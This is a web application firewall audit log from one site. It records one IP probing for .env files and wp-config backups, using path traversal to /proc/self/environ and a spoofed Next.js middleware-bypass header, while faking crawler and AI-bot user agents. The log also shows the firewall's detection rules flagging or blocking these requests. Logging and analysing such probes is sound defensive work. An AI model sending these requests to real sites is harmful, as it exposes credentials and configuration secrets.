Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq4gAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq4gAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472530512 284388 (- - -)
Stopwatch2: 1789280472530512 284388; combined=46127, p1=278, p2=45787, p3=0, p4=0, p5=61, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bfe00307-Z--
--5c2f5674-A--
[13/Sep/2026:09:21:12.889802 +0300] aqZA2GM7dE9KgIIOpQhq5AAAAM0 34.181.172.83 42358 127.0.0.1 7081
--5c2f5674-B--
GET /dist../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5c2f5674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5c2f5674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/dist../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq5AAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472788210 101656 (- - -)
Stopwatch2: 1789280472788210 101656; combined=4857, p1=265, p2=4520, p3=0, p4=0, p5=71, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5c2f5674-Z--
--e33fbf4f-A--
[13/Sep/2026:09:21:13.157869 +0300] aqZA2GM7dE9KgIIOpQhq5QAAAMM 34.181.172.83 42366 127.0.0.1 7081
--e33fbf4f-B--
GET /build../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e33fbf4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e33fbf4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/build../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq5QAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472877074 280864 (- - -)
Stopwatch2: 1789280472877074 280864; combined=5056, p1=342, p2=4663, p3=0, p4=0, p5=50, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e33fbf4f-Z--
--d8eb9674-A--
[13/Sep/2026:09:21:13.508062 +0300] aqZA2Ewu1RSkptiiNIXz5QAAAI8 34.181.172.83 42372 127.0.0.1 7081
--d8eb9674-B--
GET /js../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8eb9674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/js../.env"] [unique_id "aqZA2Ewu1RSkptiiNIXz5QAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472891376 616750 (- - -)
Stopwatch2: 1789280472891376 616750; combined=5650, p1=323, p2=5271, p3=0, p4=0, p5=55, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8eb9674-Z--
--f6e59a1d-A--
[13/Sep/2026:09:21:14.074089 +0300] aqZA2TTJ6xTvcJoem7f4RwAAAEs 34.181.172.83 42604 127.0.0.1 7081
--f6e59a1d-B--
GET /css../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f6e59a1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f6e59a1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/css../.env"] [unique_id "aqZA2TTJ6xTvcJoem7f4RwAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280473977828 96352 (- - -)
Stopwatch2: 1789280473977828 96352; combined=4949, p1=268, p2=4620, p3=0, p4=0, p5=61, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f6e59a1d-Z--
--08bb6f17-A--
[13/Sep/2026:09:21:14.704997 +0300] aqZA2mM7dE9KgIIOpQhq8QAAAME 34.181.172.83 42638 127.0.0.1 7081
--08bb6f17-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--08bb6f17-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--08bb6f17-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq8QAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474357283 347772 (- - -)
Stopwatch2: 1789280474357283 347772; combined=5212, p1=234, p2=4922, p3=0, p4=0, p5=56, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--08bb6f17-Z--
--52701306-A--
[13/Sep/2026:09:21:14.724509 +0300] aqZA2mM7dE9KgIIOpQhq7gAAAMU 34.181.172.83 42624 127.0.0.1 7081
--52701306-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--52701306-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--52701306-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq7gAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474230185 494379 (- - -)
Stopwatch2: 1789280474230185 494379; combined=4848, p1=257, p2=4485, p3=0, p4=0, p5=106, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--52701306-Z--
--65fa7328-A--
[13/Sep/2026:09:21:14.766083 +0300] aqZA2mM7dE9KgIIOpQhq8wAAAMc 34.181.172.83 42642 127.0.0.1 7081
--65fa7328-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--65fa7328-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--65fa7328-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq8wAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474523457 242701 (- - -)
Stopwatch2: 1789280474523457 242701; combined=6613, p1=333, p2=6215, p3=0, p4=0, p5=65, sr=134, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--65fa7328-Z--
--215ff509-A--
[13/Sep/2026:09:21:14.876416 +0300] aqZA2mM7dE9KgIIOpQhq9QAAANg 34.181.172.83 42682 127.0.0.1 7081
--215ff509-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--215ff509-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--215ff509-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280474843897 32573 (- - -)
Stopwatch2: 1789280474843897 32573; combined=31407, p1=231, p2=28690, p3=0, p4=0, p5=2486, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--215ff509-Z--
--e7ff6312-A--
[13/Sep/2026:09:21:14.896578 +0300] aqZA2jTJ6xTvcJoem7f4SAAAAEg 34.181.172.83 42686 127.0.0.1 7081
--e7ff6312-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e7ff6312-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles/x"] [unique_id "aqZA2jTJ6xTvcJoem7f4SAAAAEg"]
Action: Intercepted (phase 2)
Stopwatch: 1789280474890588 6078 (- - -)
Stopwatch2: 1789280474890588 6078; combined=4547, p1=437, p2=3817, p3=0, p4=0, p5=292, sr=197, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7ff6312-Z--
--b864634f-A--
[13/Sep/2026:09:21:15.084994 +0300] aqZA2mM7dE9KgIIOpQhq9gAAAMI 34.181.172.83 42706 127.0.0.1 7081
--b864634f-B--
GET /wp-config.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b864634f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b864634f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474951066 133981 (- - -)
Stopwatch2: 1789280474951066 133981; combined=31078, p1=245, p2=30774, p3=0, p4=0, p5=58, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b864634f-Z--
--3646673e-A--
